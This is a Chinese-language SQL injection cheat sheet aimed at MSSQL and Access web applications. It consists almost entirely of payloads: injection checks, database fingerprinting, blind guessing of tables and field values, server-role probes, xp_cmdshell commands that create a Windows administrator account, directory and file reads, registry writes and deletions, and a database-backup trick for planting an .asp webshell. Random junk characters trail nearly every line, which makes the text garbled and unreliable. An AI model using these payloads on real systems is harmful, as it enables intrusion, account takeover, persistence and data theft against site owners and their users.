1.判断是否有注入;and 1=1 ;and 1=2 FgH7YkKrD
2.初步判断是否是mssql ;and user>0 '0HOL)cIz
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3.注入参数是字符'and [查询条件] and ''=' nQiZ6[L
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' UGO#o`.G}
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5.判断数据库系统 d6J/)nl
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;and (select count(*) from sysobjects)>0 mssql O52/fGt
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;and (select count(*) from msysobjects)>0 access sy"}25s
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 q/ljH_-
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 `==l2AX
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 v #+ECx
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9.(1)猜字段的ascii值(access) ~[%CUc"
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 83vMj$P
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(2)猜字段的ascii值(mssql) +bznKy!
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ;5tOQ&p%v
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10.测试权限结构(mssql) =%W:N|k
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- iHPsRq!
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- *`H*@2
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- k6bct@7
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- O*~,L6# }
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 0+CcNY9
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- EVPQe-
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;and 1=(select IS_MEMBER('db_owner'));-- JQ%hh&M\0
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11.添加mssql和系统的帐户 M/W"M9u
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;exec master.dbo.sp_addlogin username;-- >?@5>wF
;exec master.dbo.sp_password null,username,password;-- AX v
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- nqy*>X`
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;exec master.dbo.xp_cmdshell 'net user username password MqZ"Js
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- $)#orZtzr
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- cpOt?XYR~
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 6BV 6<PHJ
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12.(1)遍历目录 0
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;create table dirs(paths varchar(100), id int) <MS>7Fd2
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;insert dirs exec master.dbo.xp_dirtree 'c:\' ;KQU%
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;and (select top 1 paths from dirs)>0 JQKXbsXS
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) x:)H Ii q/
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(2)遍历目录 gCghWg{S
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 8xlj,}QO\
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 lR %#R
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 9?\cm}^?
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 WHC/'kvF
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 v\w*VCjoV
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13.mssql中的存储过程 uf?;;wg
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xp_regenumvalues 注册表根键, 子键 P.YT/
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 qXtC7uNj$
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xp_regread 根键,子键,键值名 W<q<}RSn
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 qq!ZYWy2
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xp_regwrite 根键,子键, 值名, 值类型, 值 q# j[0,^ $
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 UI=v|<'-
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ;C-ds
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xp_regdeletevalue 根键,子键,值名 #eYYu2ND
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 { 5 r]G
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 xlZh(pf
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14.mssql的backup创建webshell pOK=o$1V8
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use model {#+K+!SvDX
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create table cmd(str image); =X(N+(1~
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insert into cmd(str) values (''); MNU7OX<
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backup database model to disk='c:\l.asp'; @mw1__?
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15.mssql内置函数 X,@nD@
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;and (select @@version)>0 获得Windows的版本号 Kez0Bka
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 4qDa:D"5
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;and (select user_name())>0 爆当前系统的连接用户 "LYhYkI
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;and (select db_name())>0 得到当前连接的数据库 j*2/[Eq
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16.简洁的webshell /p;OZf]
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use model gRs@T<k2
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create table cmd(str image); Fu?_<G%Ynp
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insert into cmd(str) values (''); hRKJKQ@7
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backup database model to disk='g:\wwwtest\l.asp';